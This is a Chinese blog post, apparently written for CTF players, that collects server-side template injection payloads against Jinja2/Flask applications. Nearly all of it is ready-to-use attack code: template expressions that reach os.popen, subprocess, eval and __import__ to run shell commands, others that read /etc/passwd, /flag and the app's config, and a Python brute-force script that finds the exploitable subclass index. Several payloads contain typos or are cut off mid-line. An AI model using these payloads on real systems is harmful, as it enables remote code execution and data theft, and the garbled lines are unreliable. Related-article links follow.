基于SSTI模块注入的常用payload总结

简介: 基于SSTI模块注入的常用payload总结

写在前面:


(1)下面payload中的__mro__[2]有时候需要换成__base__ (但是我遇到的还是前者多些),具体用哪个取决于题目环境的实际情况;


(2)payload中的xx代表我们所要利用的类或者函数所在位置,即我们通过脚本跑出来的类或者函数所在的位置;


(3)关于爆破的脚本请参考我前面的博客【http://t.csdn.cn/ygvBK】,这里主要是总结payload 。

一、查找函数位置,利用函数实现

1、利用file函数进行读取

{{''.__class__.__mro__[2].__subclasses__()[xx].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()}}

2、利用内嵌函数eval进行命令执行

{{''.__class__.__mro__[2].__subclasses__()[xx].__init__.__globals__['__builtins__']['eval']('__i

3、利用linecache函数进行命令执行

{{''.__class__.__mro__[2]__.__subclasses__()[xx].__init__.__globals__['linecache']['os'].popen('ls').read()}}

二、查找类的位置,利用类下的函数实现

1、利用_frozen_importlib_external.FileLoader类

(该类下的get_data函数进行读取)

{{''.__class__.__mro__[2].__subclasses__()[xx]["get_data"](0,"/etc/passwd")}}

2、利用importlib类进行命令执行

(该类下的load_module可以引用os)

{{''.__class__.__mro__[2]__.__subclasses__()[xx]['load_moudule']("os")["popen"]("ls").read()}}

3、利用subprocess.Popen类进行命令执行

{{''.__class__.__mro[2]__.__subclasses__()[xx]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

三、利用os模块进行命令执行

即在其他函数中直接掉用os模块来执行os.popen()

1、利用config

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

2、利用url_for

{{url_for.__globals__['os'].popen('ls').read()}}
cycler               {{cycler.__init__.__globals__.os.popen('id').read()}}
joiner               {{joiner.__init__.__globals__.os.popen('id').read()}}
namespace            {{namespace.__init__.__globals__.os.popen('id').read()}}

3、利用子类的os模块

查找含有os模块的子类:

import requests
url = ""
for i in range(500):
    data = {
        "parms": "{{''.__class__.__mro__[2]__.__subclasses__()[{}].__init__.__globals__}}".format(str(i))
    }#传入的参数,根据事实情况更改参数的名称
    try:
        re = requests.get(url=url,params=data).text
        if 'os.py' in re:
            print(i,data["parms"])
    except:
        pass
{{''.__class__.__mro__[2]__.__subclasses__()[xx].__init__.__globals__['os'].popoen('ls').read()}}

四、关于其他的利用

1、利用lipsum执行命令

{{lipsum.__globals__['os']['popen']('ls').read()}}

2、读取配置文件中的FLAG

{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}

3、利用warnings.catch_warnings 进行命令执行

[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('whoami').read()

4、利用 _ _ import _ _ 进行命令执行

{}.__class__.__bases__[0].__subclasses__()[xx].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
{}.__class__.__bases__[0].__subclasses__()[xx].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
{}.__class__.__bases__[0].__subclasses__()[xx].__init__.__globals__.__builtins__.__import__('os').popen('id').read()

5、 利用任意字符串或特殊变量

{{sss.__init__.__globals__.__builtins__.open("/flag").read()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{{request.application.__globals__['__builtins__']['__import__']('os').popen('ls').read()}}

可以看到上面很多payload中都有popen函数,实质还是对popen函数的利用,因此我们在使用脚本爆破时一定要尝试popen函数。

目录
相关文章
|
3月前
|
前端开发 开发者
如何理解 package.json 中的 proxy 字段?
`package.json` 中的 `proxy` 字段用于配置代理服务器,帮助前端开发中解决跨域问题及模拟后端响应。其基本概念、使用场景及配置方法将在本文中详细探讨,助力开发者高效调试与测试。
116 4
|
4月前
|
前端开发 Java Spring
【Spring】“请求“ 之后端传参重命名,传递数组、集合,@PathVariable,@RequestPart
【Spring】“请求“ 之后端传参重命名,传递数组、集合,@PathVariable,@RequestPart
56 2
|
前端开发 Java 应用服务中间件
配置SpringMVC的前端控制器DispatcherServlet时,<url-pattern>中“/“和“/*“的区别
配置SpringMVC的前端控制器DispatcherServlet时,<url-pattern>中“/“和“/*“的区别
|
9月前
|
Java Spring
解决SpringBoot中@RequestBody不能和Multipart同时传递的问题
请根据你的实际需求选择上述方法之一来解决Spring Boot中 `@RequestBody`不能和 `Multipart`同时使用的问题。
1182 1
|
9月前
|
XML SQL JSON
query 与 params:选择正确的参数传递方式
query 与 params:选择正确的参数传递方式
|
JSON JavaScript 前端开发
前端项目中package.json到底是什么,又充当着什么作用呢?一文来带你了解package.json!
前端项目中package.json到底是什么,又充当着什么作用呢?一文来带你了解package.json!
298 0
前端项目中package.json到底是什么,又充当着什么作用呢?一文来带你了解package.json!
|
前端开发 JavaScript 开发者
路由传参-使用 params 方式传递路由参数|学习笔记
快速学习路由传参-使用 params 方式传递路由参数
267 0
路由传参-使用 params 方式传递路由参数|学习笔记
|
前端开发 JavaScript 开发者
路由传参-使用params方式传递路由参数|学习笔记
快速学习路由传参-使用params方式传递路由参数
204 0
路由传参-使用params方式传递路由参数|学习笔记
|
SQL XML Java
MyBatis——dao代理的使用、深入理解参数(传递一个参数、传递多个参数、使用entity实体类传递、使用自定义类传递、按位置传递、使用Map传递)
MyBatis——dao代理的使用、深入理解参数(传递一个参数、传递多个参数、使用entity实体类传递、使用自定义类传递、按位置传递、使用Map传递)
MyBatis——dao代理的使用、深入理解参数(传递一个参数、传递多个参数、使用entity实体类传递、使用自定义类传递、按位置传递、使用Map传递)
|
前端开发 JavaScript Shell
如何理解package.json中的proxy字段?
如何理解package.json中的proxy字段?
如何理解package.json中的proxy字段?